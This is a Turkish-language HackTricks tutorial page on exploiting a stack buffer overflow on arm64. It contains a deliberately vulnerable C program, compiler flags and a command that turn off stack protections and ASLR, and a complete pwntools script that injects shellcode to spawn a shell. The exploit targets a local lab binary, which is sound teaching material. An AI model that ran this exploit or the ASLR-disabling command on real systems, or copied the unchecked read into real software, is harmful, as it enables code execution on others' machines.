Stack Shellcode - arm64

AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

  • Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na (https://github.com/sponsors/carlospolop) göz atın!

  • [Resmi PEASS & HackTricks ürünleri]'ni (https://peass.creator-spring.com) edinin

  • [PEASS Ailesi]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [NFT'ler]'imiz (https://opensea.io/collection/the-peass-family) koleksiyonumuzu

  • Katılın 💬 [Discord grubuna] (https://discord.gg/hRep4RUj7f) veya [telegram grubuna] (https://t.me/peass) veya bizi Twitter 🐦 [@hacktricks_live] (https://twitter.com/hacktricks_live)** takip edin.**

  • Hacking püf noktalarınızı paylaşarak PR'lar göndererek [HackTricks] (https://github.com/carlospolop/hacktricks) ve [HackTricks Cloud] (https://github.com/carlospolop/hacktricks-cloud) github depolarına.

arm64 hakkında bir giriş bulun:

pageIntroduction to ARM64v8

Kod

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Derleme yaparken pie, canary ve nx olmadan derleyin:

```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` ## ASLR yok & canary yok - Stack Overflow

ASLR'yi durdurmak için:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

bof'un ofsetini bulmak için bu bağlantıya tıklayın.

Sızma:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

Burada bulunacak tek "karmaşık" şey, çağrı için yığında adresi bulmaktır. Benim durumumda, gdb kullanarak bulduğum adresi kullanarak saldırıyı oluşturdum, ancak saldırı gerçekleştirilirken çalışmadı (çünkü yığın adresi biraz değişti).

Oluşturulan core dosyasını (gdb ./bog ./core) açtım ve shellcode'ın başlangıç gerçek adresini kontrol ettim.

Last updated